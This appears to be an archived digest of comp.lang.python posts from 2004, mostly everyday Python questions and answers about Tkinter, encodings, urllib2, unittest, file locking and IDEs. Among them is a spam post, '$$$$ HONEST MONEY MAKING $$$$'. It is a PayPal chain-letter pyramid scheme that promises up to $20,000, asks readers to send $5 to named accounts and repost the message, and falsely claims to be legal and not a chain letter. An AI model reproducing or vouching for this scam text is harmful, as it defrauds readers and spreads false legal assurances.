cross-posts from c.l.py, which I'm guessing J. doesn't read] J. Romano wrote: > After all, Perl programmers have been known to "use Curses", as > well as hex(), bless(), and sin(). (Which might lead him to believe > that Perl programmers will eventually pack() their belongings, split() > from their families , and join an isolated community where there is > nothing to do but study() until you die() (or your mind goes > "pop()"!). While Python programmers just import curses and hex(). We also coerce() people into using indentation, which we think is super() zip()py. When things get complex() we like to help() each other out. To sum() it up, we're a pretty open() bunch. > (My apologies if I offended any Python programmers. It was not my > intention to associate the Python community with the original poster.) No offense taken, and thanks for your input(). I didn't think it was raw_input() :) But if you want to come round() our property() and object() then zip() it. And you'ld better not wait for the locals() to reload() else we'll slice() you and reduce() you to hash() ... pow() ! [I hadn't realized how violent Python's __builtins__ could be.] That took too long() to set() up and enumerate(). I'm max()ed out on puns, but hey, whatever float()s my boat, eh? 'Course maybe if I had an intern() type() to appease my id() I could 'quit'. Now that that's sorted(), I'll grab my 'license' and a map() then 'exit' to the golf range() to work on my slice(). If I apply() my self I could compile() my scores, or more likely just toss them into the circular file(). Andrew dalke at dalkescientific.com From ville at spammers.com Fri Sep 3 10:44:37 2004 From: ville at spammers.com (Ville Vainio) Date: 03 Sep 2004 17:44:37 +0300 Subject: allowing braces around suites References: <1r3c28g6o9.fsf@rovereto.ifi.uio.no> Message-ID: >>>>> "Anton" == Antoon Pardon writes: [about block end markers] Anton> But a lot of things are not necessary but ended up in Anton> python because they were thought to be usefull. So that Anton> this is not necessary can hardly be a strong point against Anton> it. None of the useful stuff that has been added is redundant. At least I don't remember any addition that could be left away, and the code would run exactly the same. Anton> Explicit is better than implicit is one that comes to mind. Anton> If python wouldn't do anything implicit then python would Anton> be a whole different language and IMO would probably be far Anton> less usefull. End markers are not any more explicit than using just the white space for blocks. Besides, this discussion is rather pointless because Python already supports blck end markers. See pindent.py in your Python distribution or at: http://cvs.sourceforge.net/viewcvs.py/python/python/dist/src/Tools/scripts/pindent.py?rev=1.12&view=markup -- Ville Vainio http://tinyurl.com/2prnb From eric_brunel at despammed.com Mon Sep 13 04:36:17 2004 From: eric_brunel at despammed.com (Eric Brunel) Date: Mon, 13 Sep 2004 10:36:17 +0200 Subject: WxInter References: <0b4c12-k1s.ln1@home.rogerbinns.com> Message-ID: Roger Binns wrote: > Eric Brunel wrote: > >>Compare this with the tk canvas command manual at >>http://www.tcl.tk/man/tcl8.3/TkCmd/canvas.htm and you'll see we're >>quite far from it: I didn't see any means to move canvas items >>individually, or group them with tags, or knowing which items are at >>a given position, all things a tk canvas can do very easily... > > > How does wxArt2D compare? http://wxart2d.sourceforge.net/ > > It hasn't been wrapped for wxPython yet, but seems to cover the same > sorts of issues you mentioned in the message. > > Roger In fact, I almost forgot another very powerful feature of the tk canvas, which is the ability to add event bindings not only on the canvas itself, but also on each individual canvas item, or on a group of items via tags. Here is a very simple example: --tkCanvas.py---------------------------------------------- from Tkinter import * root = Tk() cnv = Canvas(root) cnv.pack() circle1 = cnv.create_oval(10, 10, 20, 20, fill='red') ## Event binding on a single item def bindingA(event): print "I'm circle1!" cnv.tag_bind(circle1, '<1>', bindingA) ## Event binding on several objects grouped via a tag cnv.create_oval(30, 10, 40, 20, fill='blue', tags=('MY_CIRCLES',)) cnv.create_oval(40, 40, 50, 50, fill='blue', tags=('MY_CIRCLES',)) def bindingB(event): print "We're MY CIRCLES!" cnv.tag_bind('MY_CIRCLES', '<1>', bindingB) ## New item with same tag => binding is inherited def addCircle(): cnv.create_oval(30, 70, 40, 80, fill='blue', tags=('MY_CIRCLES',)) Button(root, text='Add', command=addCircle).pack() root.mainloop() ----------------------------------------------------------- If you can run it, you'll see that each circle responds to mouse clicks by a print. Clicking the "Add" button adds a new blue circle, which inherits automatically the bindings created on its tag(s). The part on the drawing itself seems to be covered by wxArt2D, but since I'm not fluent in the way wxWidgets/wxPython handles user event, I've some difficulty to figure out if these "item bindings" can also be done. -- - Eric Brunel - PragmaDev : Real Time Software Development Tools - http://www.pragmadev.com From vincent at visualtrans.de Tue Sep 7 13:02:43 2004 From: vincent at visualtrans.de (vincent wehren) Date: Tue, 07 Sep 2004 19:02:43 +0200 Subject: hex value in string back to real hex value In-Reply-To: <106645cc.0409070847.40b87e6e@posting.google.com> References: <106645cc.0409070847.40b87e6e@posting.google.com> Message-ID: jack wrote: > Hi everyone, > > I get in a program an hexa value codes in a string for example \xe7 > which correspond to a french character. > > The string would be "\xe7t\xe7" and I want to write in a file ?t? and > not \xe7t\xe7. > > Sure I could write a function to analyse the string, find all the hexa > caracter (because of the \x) and convert the value to decimal and back > to the correct cahracter. > > Is there something simplier ? > > An example below for generating such a string : > a="" > a=a+"\\" > a=a+"x" > a=a+"e" > a=a+"7" > len(a)= 4 # so it is not understood as the hexa value !! > a > "\xe7" > > > Thanks in advance. > > Jack. You might want to take a look at the binascii module. -- Vincent Wehren From carribeiro at gmail.com Sun Sep 26 00:33:15 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Sun, 26 Sep 2004 01:33:15 -0300 Subject: up with PyGUI! In-Reply-To: <8005A1C7-0F5F-11D9-B926-003065B11E84@leafe.com> References: <2rhjmpF1at3kjU1@uni-berlin.de> <864d3709040924070115d9d98a@mail.gmail.com> <18A862E6-0F37-11D9-B926-003065B11E84@leafe.com> <864d370904092515311da67bb6@mail.gmail.com> <8005A1C7-0F5F-11D9-B926-003065B11E84@leafe.com> Message-ID: <864d37090409252133438c17fa@mail.gmail.com> On Sat, 25 Sep 2004 21:58:02 -0400, Ed Leafe wrote: > Sorry, but it just doesn't seem explicit to me. Defining a class > doesn't mean instantiating one instance of a class at the place where > the class is defined, but that seems to be exactly what your metaclass > constructor does. I'm not entirely satisfied with it either, but I'm trying to be pragmatic and to keep a neutral stance on this. I just thought about a slightly different approach to the problem; I don't know if I can make it work, but it may be a good solution. Imagine if, instead of instantiating the inner classes automatically when the outer class is declared, the process is deferred until the outer class is instantiated. In this way, the outer class would still contain just classes; but the instance would contain only instances. It's a relatively small change, and it's still different from the usual class creation stuff, but it's less of a surprise. > I understand that it's an experiment. My question is if the goal of > this experiment is just to do something differently, or if there is an > ultimate benefit that one can hope to gain if the experiment is a > success. I see what you're doing and how it is different; I guess I > still don't see that this is gaining any power or flexibility. No, it's not just to do something different. I hope to be able to develop a system that is more readable and more flexible than the traditional approach. OKB already did a good job of explaining some of the advantages. I would like to sum it up this way: there is a lot of information encoded in the way the classes are structured that you have to spell explicitly with the traditional form. That's a big gain. -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From deetsNOSPAM at web.de Wed Sep 1 11:14:19 2004 From: deetsNOSPAM at web.de (Diez B. Roggisch) Date: Wed, 01 Sep 2004 17:14:19 +0200 Subject: file access in jythonc References: <9eabe547.0408210611.d5e54f7@posting.google.com> <9eabe547.0408301406.2543e691@posting.google.com> <9eabe547.0408311130.73beef80@posting.google.com> <9eabe547.0409010600.4d566928@posting.google.com> Message-ID: >> As I said - search google for JAVA APPLETS ACCESSING LOCAL FILES - then >> you can do that using jython. As a matter of fact, the whole process has >> to do with signing jars - nobody cares if these contain classes generated >> by javac, jikes, jythonc or carefully handwritten jvm bytecode.... > > So does that mean that a jre does not have to be on the local pc? The > local pc does not have to set policies, etc. If that is true, then all > I've said about jython I take back. It is truly useful! What exactly makes you conclude this from my above statements? And did you even _think_ for a moment to follow my and others suggestions to search on google? -- Regards, Diez B. Roggisch From martin at v.loewis.de Thu Sep 2 16:43:55 2004 From: martin at v.loewis.de (=?ISO-8859-2?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Thu, 02 Sep 2004 22:43:55 +0200 Subject: Encoding problems In-Reply-To: References: Message-ID: <41378609$0$24820$9b622d9e@news.freenet.de> Gandalf wrote: > This is a fault of the win32 console - it defaults to a different > encoding than other parts of the Windows system. > This is messy but we cannot do anything about it. :-( It's better than you think. Python, starting with 2.3, will do the right thing for # -*- coding: cp1252 -*- print u"n?z" It determines that this is a Windows console, determines its encoding, and converts the Unicode string to that encoding. Of course, this requires the string to be a Unicode literal. So you'ld expect that bildschirm = raw_input(u"n?z") works, but unfortunately, it doesn't, as raw_input does not support Unicode. However, the encoding Python has determined is available as sys.stdout.encoding, so you can do bildschirm = raw_input(u"n?z".encode(sys.stdout.encoding)) This works even if the user has done chcp in the window, as Python queries the window what its encoding is, during Python startup. HTH, Martin From brian at sweetapp.com Wed Sep 1 07:20:37 2004 From: brian at sweetapp.com (Brian Quinlan) Date: Wed, 01 Sep 2004 13:20:37 +0200 Subject: Intelisence (and type inference) In-Reply-To: <20040831084349.H16807@ActiveState.com> References: <43SYc.121080$UTP.113615@twister01.bloor.is.net.cable.rogers.com> <20040831084349.H16807@ActiveState.com> Message-ID: <4135B085.8060203@sweetapp.com> Trent Mick wrote: > It is not impossible, but it _is_ hard. :) Then stop whining and get back to work! :-) Cheers, Brian From fuzzyman at gmail.com Sat Sep 4 06:02:29 2004 From: fuzzyman at gmail.com (Michael Foord) Date: 4 Sep 2004 03:02:29 -0700 Subject: A couple of Python 'Features' Message-ID: <6f402501.0409040202.26cd7a30@posting.google.com> I've come across a couple of 'features' in Python standard libraries - and I'm not sure if they're meant to be there... or if they're bugs... One in urllib2 and one in cgi. >>> from urllib2 import urlopen >>> a = urlopen('http://www.voidspace.org.uk') >>> i = a.info() >>> for entry in i: print entry Traceback (most recent call last): File "", line 1, in -toplevel- for entry in i: print entry File "D:\PYTHON23\lib\rfc822.py", line 390, in __getitem__ return self.dict[name.lower()] AttributeError: 'int' object has no attribute 'lower' and in cgi (a result that happens in live CGI as well as interactive sessions....) : >>> import cgi >>> a = cgi.FieldStorage() >>> for entry in a: print entry Traceback (most recent call last): File "", line 1, in ? for entry in a: print entry File "C:\PYTHON22\lib\cgi.py", line 550, in __getitem_ raise KeyError, keyKeyError: 0 >>> You can get round the cgi bug because : for entry in a.keys(): print entry works fine - but it's a bit annoying. (Admittedly my server has python 2.2, but the urllib2 bug occurs in Python 2.3.4 as well I think). Regards, Fuzzy http://www.voidspace.org.uk/atlantibots/pythonutils.html From peter at engcorp.com Mon Sep 13 07:56:56 2004 From: peter at engcorp.com (Peter Hansen) Date: Mon, 13 Sep 2004 07:56:56 -0400 Subject: Greenlets: where are they now??? In-Reply-To: References: Message-ID: <29Cdnar3ZOqUFtjcRVn-pg@powergate.ca> David Pokorny wrote: > "Peter Hansen" wrote in message > news:x6SdnVJ8pp4xC9ncRVn-rQ at powergate.ca... > >>Seriously though, what is the actual problem to which you feel >>greenlets are a good solution? > > Greenlets are about 90% of a solution (which I've thought hard about) to the > problem of interrupting an execution after 50 byte-code, while retaining the > ability to resume the execution (for, say, another 50 byte codes). Python's regular threads already allow this, so there must be something more to it. -Peter From fortune at hotmail.com Mon Sep 27 00:13:57 2004 From: fortune at hotmail.com (vis) Date: Mon, 27 Sep 2004 06:13:57 +0200 Subject: $$$$ HONEST MONEY MAKING $$$$ Message-ID: <41579c2a@news01.argolink.net> Follow the directions below and in two weeks you'll have up to $20000.00 in your PayPal account. There is a very high rate of participation in the program because of its low investment and high rate of return. Just $5.00 to one person! THAT'S ALL !!! If you are a skeptic and don't think the program will work, I urge you to give it a try anyway! It REALLY WORKS! Why do you think so many people are promoting it. LOOK AT IT THIS WAY If the Program is a total failure for you and you never get even $1.00 in return, your total loss will be the $5.00! If you are not yet a paypal member, there is no risk at all!!! If the Program is only moderately successful for you, your PayPal account will have several hundred dollars deposited into it within the next few days! If you actively participate in the Program, you could have up to $20,000.00 in your PayPal account within two weeks! Now let me tell you the simple details. Getting Started!! If you're not already a user of PayPal, the very first thing you need to do is go to PayPal and sign up. It takes two minutes and Pay Pal will deposit $5.00 in your account just for becoming a member. That makes this program's total cost $0!!! Follow this link to open your PayPal account. https/www.paypal.com Now log into your PayPal account, and send the PayPal account of the person listed in Position 1 $5.00 PayPal will ask you to select type. (Select service and put $5.00 donation for subject.) When person in Position 1 receives notification of your payment, you can simply copy this page and change the names in position #1 & #2 as instructed. Remember, only the person in Position 1 on the list gets your $5.00 donation. Send them a donation then remove #1 PayPal account from the list. Move the other accounts up & add your Paypal account to #2 position. After you have retyped the names in the new order, Use Netscape or Internet Explorer and try searching for various new groups (on-line forums, message boards, chat sites, discussions.) Visit message boards and post this article as a new message by highlighting the text of this letter and selecting paste from the edit menu. Fill in the subject, this will be the header that everyone sees as they scroll through the list of postings in a particular group, click the post message button. You're done. Remember, the more newsgroups, etc. you post to,the more people that will be exposed to the opportunity. You can post this message (saved as a text file) as well using "postxpert" found at . When your name reaches Position 1 (usually in less than a week) it will be your turn to receive the cash. $5.00 will be sent to your PayPal account by people just like you who are willing to send $5.00 dontation and receive up to $20,000 in less than two weeks. Because there are only (2) names on the list you can anticipate 80% of your cash within two weeks. Anytime you find yourself short on cash just take out your $5.00 donation program and send it to 50 prospects. Imagine if you sent it to 100 or even more. Most people spend more than $5 on the lottery every week with no real hope of ever winning. IMPORTANT!!! IN ORDER FOR THIS PROGRAM TO WORK, YOU MUST BE HONEST. DO NOT ADD YOUR EMAIL IMMEDIATELY TO THE #1 POSITION, AND MAKE SURE TO SEND YOUR 5 DOLLARS TO THE PERSON AT #1. IF EVERYONE WHO TRIED THIS DIDNT SEND THE MONEY, THEN NOBODY WOULD MAKE A DIME. 5 DOLLARS IS A VERY SMALL INVESTMENT, ESPECIALLY WHEN YOUR ABOUT TO MAKE MANY MANY MANY TIMES THAT AMOUNT. IF WE ARE ALL HONEST, THEN WE ALL MAKE LOTS OF MONEY!! REMEMBER, you add your email to the #2 spot, and then move everyone else up 1(deleting the person who was formally in the #1 spot, and who you should have sent your money to). DO NOT add your email to #1 when you start this program. If everyone did this, then NO ONE would make a cent. THIS PROGRAM WORKS - JUST TRY IT POSITION # 1 PAYPAL ACCOUNT theonly1 at rogers.com POSITION # 2 PAYPAL ACCOUNT kraaappp at yahoo.it Integrity and honesty make this plan work. Participants who actively promote this program will average between $8000 and $12000 and receive the donations within two weeks. This is not a chain letter. You are simply making a donation of $5.00 to another person. The Program does not violate title 18 section 1302 of the Postal and lottery code. Remember -TIME is of the essence. YOU can choose to live Paycheck-to-Paycheck or live FREE from FINANCIAL BONDAGE. Become a part of the donation program and help people help people. This program is about helping each other! Success is a journey - Not a destination! Start Your Journey TODAY!!!! Post a follow-up to this message. From python-url at phaseit.net Tue Sep 28 22:03:26 2004 From: python-url at phaseit.net (Cameron Laird) Date: Wed, 29 Sep 2004 02:03:26 +0000 Subject: Dr. Dobb's Python-URL! - weekly Python news and links (Sep 29) Message-ID: QOTW: "You *did* signal that quite adequately. This, however, is comp.lang.python and clear signals never stopped anyone. " Peter Hansen "I think that the problem with debuggers is the same as with optimization -- it's too easy to start doing it prematurely." Carlos Ribeiro Gerrit Holl lists subtleties of a "straightforward" problem, and starts to solve them: http://www.google.com/groups?selm=mailman.4001.1096357473.5135.python-list%40python.org A workshop on High Productivity Python on 12 October might still have openings for presentations. http://groups.google.com/groups?th=bc16bbd85b4d10d9 Dabo is "a true three-tier design" portable wxPython-based freely-available framework. http://groups.google.com/groups?th=78be1e32fa9ac645 Vinay Sajip explains that logging is easier than its documentation has made it appear to be. http://groups.google.com/groups?selm=JqSdnXgsbLTkosXcRVn-vw%40powergate.ca Resumable exceptions are too complicated for Python--probably. http://groups.google.com/groups?frame=left&th=eebe9a8d1fee47f5 How does one get the zip module to do something useful? Adept Pythoneers start the way they start with *all* questions: by asking the module to explain itself. http://groups.google.com/groups?frame=left&th=586b1ae0d7d403cc http://groups.google.com/groups?frame=left&th=5814e0fbe3ef7679 http://groups.google.com/groups?frame=left&th=8f06411b073cf498 ======================================================================== Everything Python-related you want is probably one or two clicks away in these pages: Python.org's Python Language Website is the traditional center of Pythonia http://www.python.org Notice especially the master FAQ http://www.python.org/doc/FAQ.html PythonWare complements the digest you're reading with the marvelous daily python url http://www.pythonware.com/daily Mygale is a news-gathering webcrawler that specializes in (new) World-Wide Web articles related to Python. http://www.awaretek.com/nowak/mygale.html While cosmetically similar, Mygale and the Daily Python-URL are utterly different in their technologies and generally in their results. comp.lang.python.announce announces new Python software. Be sure to scan this newsgroup weekly. http://groups.google.com/groups?oi=djq&as_ugroup=comp.lang.python.announce Brett Cannon continues the marvelous tradition established by Andrew Kuchling and Michael Hudson of intelligently summarizing action on the python-dev mailing list once every other week. http://www.python.org/dev/summary/ The Python Package Index catalogues packages. http://www.python.org/pypi/ The somewhat older Vaults of Parnassus ambitiously collects references to all sorts of Python resources. http://www.vex.net/~x/parnassus/ Much of Python's real work takes place on Special-Interest Group mailing lists http://www.python.org/sigs/ The Python Business Forum "further[s] the interests of companies that base their business on ... Python." http://www.python-in-business.org Python Success Stories--from air-traffic control to on-line match-making--can inspire you or decision-makers to whom you're subject with a vision of what the language makes practical. http://www.pythonology.com/success The Python Software Foundation (PSF) has replaced the Python Consortium as an independent nexus of activity. It has official responsibility for Python's development and maintenance. http://www.python.org/psf/ Among the ways you can support PSF is with a donation. http://www.python.org/psf/donate.html Cetus collects Python hyperlinks. http://www.cetus-links.org/oo_python.html Python FAQTS http://python.faqts.com/ The Cookbook is a collaborative effort to capture useful and interesting recipes. http://aspn.activestate.com/ASPN/Cookbook/Python Among several Python-oriented RSS/RDF feeds available are http://www.python.org/channews.rdf http://bootleg-rss.g-blog.net/pythonware_com_daily.pcgi http://python.de/backend.php For more, see http://www.syndic8.com/feedlist.php?ShowMatch=python&ShowStatus=all The old Python "To-Do List" now lives principally in a SourceForge reincarnation. http://sourceforge.net/tracker/?atid=355470&group_id=5470&func=browse http://python.sourceforge.net/peps/pep-0042.html The online Python Journal is posted at pythonjournal.cognizor.com. editor at pythonjournal.com and editor at pythonjournal.cognizor.com welcome submission of material that helps people's understanding of Python use, and offer Web presentation of your work. *Py: the Journal of the Python Language* http://www.pyzine.com Archive probing tricks of the trade: http://groups.google.com/groups?oi=djq&as_ugroup=comp.lang.python&num=100 http://groups.google.com/groups?meta=site%3Dgroups%26group%3Dcomp.lang.python.* Previous - (U)se the (R)esource, (L)uke! - messages are listed here: http://www.ddj.com/topics/pythonurl/ http://purl.org/thecliff/python/url.html (dormant) or http://groups.google.com/groups?oi=djq&as_q=+Python-URL!&as_ugroup=comp.lang.python Suggestions/corrections for next week's posting are always welcome. E-mail to should get through. To receive a new issue of this posting in e-mail each Monday morning (approximately), ask to subscribe. Mention "Python-URL!". -- The Python-URL! Team-- Dr. Dobb's Journal (http://www.ddj.com) is pleased to participate in and sponsor the "Python-URL!" project. From reply2group at ndbbm.net Sun Sep 5 23:48:46 2004 From: reply2group at ndbbm.net (Active8) Date: Sun, 5 Sep 2004 23:48:46 -0400 Subject: Python23 and XRC support Message-ID: <1rtn1w1rd8jfe.dlg@news.individual.net> Is the windows binary for Python 2.3.4 compiled with XRC support? -- Best Regards, Mike From ptmcg at austin.rr._bogus_.com Mon Sep 27 15:12:34 2004 From: ptmcg at austin.rr._bogus_.com (Paul McGuire) Date: Mon, 27 Sep 2004 19:12:34 GMT Subject: elementtree behavior References: Message-ID: "Tim Arnold" wrote in message news:cj9j8m$jn4$1 at license1.unx.sas.com... > I have an XML snippet that I parse with ElementTree, and I get an element > called self.makeToc > > Now this code: > > print self.makeToc > if self.makeToc != None: > print 'here' > if self.makeToc: print 'but not here' > > gives this result: > > here > > Clearly self.makeToc has a value, so why isn't "if self.makeToc" True? > That is, if self.makeToc isn't None, why don't I get past 'if self.makeToc' > > Can someone point out what am I not understanding? > > thanks, > --Tim > Not sure about your XML Element classes, but a number of Python objects will evaluate to false even if not set to None: - boolean with value of 'false' - integer with value of 0 - list with no elements Perhaps your Element class evaluates to false if it has no child nodes, or some similar thing. -- Paul From jani at persian.com Sun Sep 19 01:00:11 2004 From: jani at persian.com (Jani Yusef) Date: 18 Sep 2004 22:00:11 -0700 Subject: need help defining Constant memory requirement Message-ID: I have a HW problem stated as shown at the top of the solution. The thing is is that I am not 100% sure wtf constant memory means. Well, I think I do but I am confused. Does my solution use contant memory in terms of the length of the list i? If so why not and how could I change it to be so? I am sure the solution is O(n) since the list must only iterated once and the dictionary is O(1), correct? Thanks for the help!! #You are given a sequence S of n numbers whose values range from 1 to n-1. #One of these numbers repeats itself once in the sequence. #(Examples: {1 2 3 4 5 6 3}, {4 2 1 2 3 6 5}). #Write a function that finds this repeating number using a constant #amount of memory and linear time. import sys i=[1,3,4,5,3] tally={} for a in i: if tally.has_key(a): print "repeated number is "+str(a) sys.exit(0) else: tally[a]=1 print "no repeat found" From steven.bethard at gmail.com Mon Sep 13 00:32:27 2004 From: steven.bethard at gmail.com (Steven Bethard) Date: Sun, 12 Sep 2004 22:32:27 -0600 Subject: unittest.TestCase, lambda and __getitem__ Message-ID: So, GvR said a few times that he would like to get rid of lambda in Python 3000. Not to start up that war again, but I'm trying to eliminate unnecessary lambdas from my code, and I ran into a case using unittest.TestCase that I don't really know how to deal with. Previously, I had written some code like: self.assertRaises(ValueError, lambda: method(arg1, arg2)) This was a simple fix because assertRaises takes *args and **kwds, so I fixed it to look like: self.assertRaises(ValueError, method, arg1, arg2) which is much cleaner anyway (and what I should have been doing from the start). Where I get uneasy is when I run into code like: self.assertRaises(ValueError, lambda: obj[index]) Presumably, I could write this as: self.assertRaises(ValueError, obj.__getitem__, index) I guess this makes me uneasy because I'm not entirely certain that obj[item] is *always* translated to obj.__getitem__(index). Is it? That is, is there any way that obj[item] would get translated into a different method call? Or is there a better/clearer way of handling this kind of test case? Thanks, Steve -- You can wordify anything if you just verb it. - Bucky Katt, Get Fuzzy From "chris\" at (none) Sun Sep 19 16:32:58 2004 From: "chris\" at (none) (none) Date: Sun, 19 Sep 2004 21:32:58 +0100 Subject: uptime in unix In-Reply-To: References: Message-ID: <414decfa$0$42219$ed2e19e4@ptn-nntp-reader04.plus.net> Oli Schwarz wrote: > Hello, > > how can I read out the uptime of a unix system in python (Linux and *BSD). > > I have not found a uptime-function in the Library. > > Regards > Oli You can call the uptime program from python and catch the ouput: >>> import os >>> print os.popen('uptime').read() 21:29:57 up 9:35, 6 users, load average: 1.33, 2.04, 2.08 From PPNTWIMBXFFC at spammotel.com Tue Sep 28 03:04:00 2004 From: PPNTWIMBXFFC at spammotel.com (Marco Aschwanden) Date: Tue, 28 Sep 2004 09:04:00 +0200 Subject: "False exceptions?" (was Re: theme of the week: tools References: <41542230.3070808@bellsouth.net> <4157FD67.80404@holdenweb.com> Message-ID: On Mon, 27 Sep 2004 12:04:47 -0400, Dan Perl wrote: I myself felt disturbed by your comments on WingIDE. But yes, I do understand your nagging on "false exceptions" which can be turned off. You turned it down because of this and because the short trial period (which can be prolonged with 1 button click)... well, it didn't seem fair towards the tool. It has its shortcomings but the ones you mention are ridiculous. It beats Komodo 3.01 in some aspect: - it shines when it comes to auto-completion. No need to feed some "intelligent database" for each and every file you introduce like in Komodo (first crash while building the database). - in my case it works seamlessly with wxPython. Komodo crashed constantly. Auto-completion with wxPython did never work (tried on 2 machines) - WingIDE is much more robust although beta than Komodo, which crashed about 5 times during 3h of work (Win2K; about 20 times because of wxPython are not taken into account). WingIDE does not crash since around patch 3 (we are now at patch 8). So I would say: Use Komodo if you: - are programming as well in other languages that Komodo supports (PHP, Perl, Python, HTML, ...) - need built-in cvs access - can live with an IDE that crashes from time to time Use Wingware if you: - need a good "intelligent" auto-completion even for wxPython, pyQt, ... - need an extensible IDE (you may in future add your own tools easily) - need an IDE that focusses on Python and that tries to do the best on this single language - can live with an IDE that does not look as polished as Komodo This comparison is not perfect. But you may realize that I turned it down for it constantly crashing on me (which might be a problem of me and my 2 machines) and the useless auto-completion (constantly feeding the database; does not work with wxPython). Those 2 points were in my case the show stopper. Sad, because the idea behind Komodo is just great, the looks is fantastic... I will give it another chance with 4.0... Happy wing user, Marco From db3l at fitlinxx.com Thu Sep 30 13:44:16 2004 From: db3l at fitlinxx.com (David Bolen) Date: 30 Sep 2004 13:44:16 -0400 Subject: multiple instance on Unix References: <52324E76-123E-11D9-B04E-0003938543A0@orthogonsystems.com> <415AF802.1080909@bellsouth.net> Message-ID: Mike Meyer writes: > The (old) standard method for locking on Unix is to use a file. Open > it in exclusive mode. Using os.open(, O_EXCL | O_RDONLY) (or > O_WRONLY, or O_RDWR) should do the trick. The oldest methods I tended to use still went the mkdir() route, since that tends to be more reliable across NFS links (where the MKDIR operation is still generally atomic, and doesn't involve NFS machinations to support locking). And if you're using a filesystem to implement stuff like this you may not know if it's local or not. -- David From cmg at dok.org Tue Sep 21 15:09:14 2004 From: cmg at dok.org (Chris Green) Date: Tue, 21 Sep 2004 15:09:14 -0400 Subject: Emacs + python (Was Re: python is going to die! =() References: <278de0e.0409201131.57baf7f9@posting.google.com> <414f61bf$0$29449$636a15ce@news.free.fr> Message-ID: <87hdprv3qd.fsf_-_@ion.xlipstream.com> Andrew Dalke writes: > Speaking of which, is there any way to get tab-completion > (intellisense?) behaviour in emacs? Or in the interactive > interpreter? M-/ is good for saving keystrokes. http://cedet.sourceforge.net/semantic.shtml is a project working on the backend parsing to be able to be at the point where that context sensitive dynamic completions can happen ( well, as well as they could in python ). I love emacs though I keep thinking one day that eclipse will take over and would love for there to be an emacslike engine on top of eclipse to access use customizations/keybindings etc. The trick that I like most about emacs+python right now is inserting import pdb; pdb.set_trace() and then running the python script from a *shell* buffer. It just happens to load the exact same code that would occur from running pdb.py directly so code lines can be synced up. -- Chris Green From jarausch at skynet.be Wed Sep 29 16:15:12 2004 From: jarausch at skynet.be (Helmut Jarausch) Date: Wed, 29 Sep 2004 22:15:12 +0200 Subject: interactive help on string functions - howto In-Reply-To: References: <415aede9$0$24598$ba620e4c@news.skynet.be> <415AF37B.9080101@bellsouth.net> Message-ID: <415B17D0.6080806@skynet.be> Many thanks for the hint. Still I wonder why I have to prefix it with 'str.' I don't need to import str and I don't need to prefix rstrip with 'str.' to USE it - why do I have to do so with HELP then? Steven Bethard wrote: > Jeremy Jones bellsouth.net> writes: > >>Make sure you've imported string. > > > No need to import string, you can use the builtin str: > > >>>>help(str.rstrip) > > Help on method_descriptor: > > rstrip(...) > S.rstrip([chars]) -> string or unicode > > Return a copy of the string S with trailing whitespace removed. > If chars is given and not None, remove characters in chars instead. > If chars is unicode, S will be converted to unicode before stripping > > >>>>help(str.ljust) > > Help on method_descriptor: > > ljust(...) > S.ljust(width[, fillchar]) -> string > > Return S left justified in a string of length width. Padding is > done using the specified fill character (default is a space). > -- Helmut Jarausch Lehrstuhl fuer Numerische Mathematik RWTH - Aachen University D 52056 Aachen, Germany From thorsten at thorstenkampe.de Sat Sep 11 09:56:29 2004 From: thorsten at thorstenkampe.de (Thorsten Kampe) Date: Sat, 11 Sep 2004 15:56:29 +0200 Subject: if-else-then References: <848b3711.0409110434.6db93979@posting.google.com> Message-ID: * TuPLaD (2004-09-11 14:34 +0200) Please don't fullquote. > if user type: n, no, nop, nope then print 'You canceled' > else > if user type: y, ye, yes, yep then print 'We are beginning' > > How do i do that ? There's a tutor list where people who are constanty bored just wait for questions like this. Excerpt from a template.py of mine: def equivalent_answers(answer): """ generate equally valid answers ('y', 'ye', 'yes') """ return [answer[:index + 1] for index in range(len(answer))] MyOptions = {'verbose': None} myanswer = raw_input('%s%s%s' % ('verbose', '? [yes|no|ignore|abort]: '), [n])).lower() if myanswer == '': # 'empty' answer MyOptions['verbose'] = False elif myanswer in equivalent_answers('yes'): MyOptions['verbose'] = True elif myanswer in equivalent_answers('no'): MyOptions['verbose'] = False elif myanswer in equivalent_answers('ignore'): pass elif myanswer in equivalent_answers('abort'): pass else: print "ignoring invalid answer: '%s'" % myanswer From tzot at sil-tec.gr Wed Sep 22 08:45:52 2004 From: tzot at sil-tec.gr (Christos TZOTZIOY Georgiou) Date: Wed, 22 Sep 2004 15:45:52 +0300 Subject: How to count lines in a text file ? References: <414ed896$0$26378$ba624c82@nntp02.dk.telia.net> <414eda06$0$26379$ba624c82@nntp02.dk.telia.net> <1gkf46r.1xrytm21mny6pfN%aleaxit@yahoo.com> Message-ID: On Mon, 20 Sep 2004 15:29:18 +0200, rumours say that aleaxit at yahoo.com (Alex Martelli) might have written: >Ling Lee wrote: >> Oh I just did it. >> >> Just used the line: >> >> print "%d lines in your choosen file" % len(open("test.txt").readlines()) >> >> Thanks though :) [Alex] >You're welcome;-). However, this approach reads all of the file into >memory at once. If you must be able to deal with humungoug files, too >big to fit in memory at once, try something like: > >numlines = 0 >for line in open('text.txt'): numlines += 1 And a short story of premature optimisation follows... Saw the plain code above and instantly the programmer's instinct of optimisation came into action... we all know that C loops are faster than python loops, right? So I spent 2 minutes of my time to write the following 'clever' function: def count_lines(filename): fp = open(filename) count = 1 + max(enumerate(fp))[0] fp.close() return count Proud of my programming skills, I timed it against another function containing Alex' code. Guess what? My code was slower... (and I should put a try: except Value: clause to cater for empty files) Of course, on second thought, the reason must be that enumerate generates one tuple for every line in the file; in any case, I'll mark this rule: C loops are *always* faster than python loops, unless the loop does something useful ;-) in the latter case, timeit.py is your friend. -- TZOTZIOY, I speak England very best, "Tssss!" --Brad Pitt as Achilles in unprecedented Ancient Greek From jmeile at hotmail.com Fri Sep 17 05:51:32 2004 From: jmeile at hotmail.com (Josef Meile) Date: Fri, 17 Sep 2004 11:51:32 +0200 Subject: How to go about developing in zope In-Reply-To: <4c900ea0.0409160754.2158e732@posting.google.com> References: <4c900ea0.0409160754.2158e732@posting.google.com> Message-ID: <414a9787@pfaff2.ethz.ch> Hi John, > I am developing a timesheet system. > It will have 3 levels of access > 1)Administrator > 2)Approver -- Will approve or reject the timesheet filled by employees > 3)Employees -- Fill in the timesheet which will ontain info like start > time & end for task & task description. > There will be different projects with different employees & approvers > Also I need to genrate reports like timesheet for an employee for this > particular week or month.Or timesheet of a project etc.. > > 